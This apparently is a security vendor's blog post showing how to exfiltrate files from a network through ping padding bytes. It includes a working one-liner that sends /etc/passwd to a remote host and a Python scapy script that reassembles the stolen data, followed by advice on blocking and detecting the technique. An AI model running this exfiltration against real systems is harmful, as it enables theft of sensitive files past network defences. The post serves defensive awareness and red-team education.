Getting into a network and getting data out of a network are two different challenges. Just because an employee clicked on a malicious link and got hacked, it doesn’t mean the attacker gets to walk off with PII, Financials, Source Code etc. In this blog post, we’ll explore the known breach method of using ICMP protocol for data exfiltration but with a twist. Instead of showing how to use this breach method with some custom made tools, we’re going to do it using the default and common ping utility– red team style!

Ping is one of the most useful network debugging tools available, it’s used to test connectivity between two hosts. It almost always comes pre-installed on Windows, Linux, Mac , etc., and does not require Administrator privileges to run. Most implementations of the Ping utility accept command line option ‘-p’ that allows up to 16 bytes of padding to fill out the ICMP ECHO_REQUEST packets that will be sent. Together with other command line options such as: ‘-c’ (specifying amount of packets to be sent before stopping) and ‘-t’ (specifying timeout before exiting) it turns Ping into a tool that allows crafting and sending of a single ICMP ECHO_REQUEST packet with an arbitrary 16 bytes of data.

Because most networks allows outbound ICMP traffic (sometimes even between different segments), and because Ping scripts nicely, an attacker can use it as an ideal tool for exfiltrating data from networks. But enough talk, let’s see some code:
This one-liner program takes a file and pings it over to another host:
cat /etc/passwd | xxd -p -c 2 | xargs -n 1 -I '{}' ping -c 1 -t 1 -p '{}' 192.168.56.101 ; ping -c 1 -t 1 -s 55 192.168.56.101
And this Python script will reassemble the pings back into a file:
#!/usr/bin/env python
#
# Copyright (C) SafeBreach, Inc.
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#

import sys
import argparse
import scapy.all

config = None

def write_or_stop(pkt):
 global config

 # Is it signal pkt or data pkt?
 if pkt[scapy.all.IP].len == 83:

   # Signal pkt, stop!
   config.output_file.flush()
   config.output_file.close()
   return True

 # Data pkt, next ...
 payload = pkt.lastlayer().load
 config.output_file.write(payload[8:8+config.chunk_size])
 return False

def main(argv):
 global config

 parser = argparse.ArgumentParser(description='Reassemble FILE from ICMP ECHO REQUESTs')
 parser.add_argument('-s', '--chunk-size', metavar='SIZE', type=int, default=2, help='How many bytes are exfiltrated in a single ECHO_REQUEST pkt')
 parser.add_argument('-o', '--output-file', nargs='?', type=argparse.FileType('w+'), default=sys.stdout)
 config = parser.parse_args(argv)

 scapy.all.sniff(filter="icmp[icmptype] == 8", stop_filter=write_or_stop, store=0)

if __name__ == "__main__":
 sys.exit(main(sys.argv[1:]))

So how does it work?

The one liner program uses the cat utility to read our target file and write it to the standard out, then it’s piping it to xxd which in turn creates a hex dump out of it (2 bytes per line, I’ll explain more about it later). Next, using xargs utility, it’s constructing an argument from the standard input line (i.e., hex dump output line) and executing ping with the 2 bytes hex as the pattern. Least but not least, after finishing going over the standard input, it will ping the remote host one more time with a packet size 55 (default is 56, before adding an extra 8 bytes of ICMP header which brings it to a total of 64 bytes).

The Python script uses scapy to implement a sniffer that captures ICMP ECHO_REQUEST packets, and for every captured packet it will extract X (default is 2 bytes) amount of bytes from its payload and write it into a file (default is standard output descriptor). The only exception is when an ECHO_REQUEST packet with a total size of 55 bytes (83 = 55 bytes of data + 8 bytes ICMP header + 20 bytes of IPv4 header) arrives, then it will flush buffers, close the file and exit.

Why did we have to split the hex dump output to 2 bytes per line and/or ping the remote host one more time with a packet size of 55?

In order to keep our client (i.e., one-liner program) as simple as possible, we’re sending raw data as opposed to encapsulating in some logical protocol with header section, data section , etc. Because there isn’t a logical protocol with features such as message types and data length, we need to predefine it in advance. The packet size of 55 (i.e., the extra ping sent after the file transfer) is interpreted as EOF signal that closes the output file and exits the sniffer. As for the 2 bytes per line or 3 bytes per line configuration, it is in order to ensure there’s no garbage left in the last packet if the file size is odd or even. In other words, send 2 bytes per packet if the file size is even else send 3 bytes per packet.

What measures can be taken to prevent exfiltration data in this method?

We recommend that organizations block ping (i.e., ECHO_REQUEST and ECHO_REPLY packet types) all together. If that’s not possible, then at least block outbound pings to the Internet and Low security zone networks.

Other options are to limit the network/endpoints that can ping and/or limit the destinations that can be pinged at. This makes it harder for an attacker to just send pings to a random servers.

As far as compensating control goes, tracking ping packet sizes for anomalies and checking that data loss prevention products that are in place are capable of detecting assets within ICMP packets are good security best practices.


Subscribe to blog post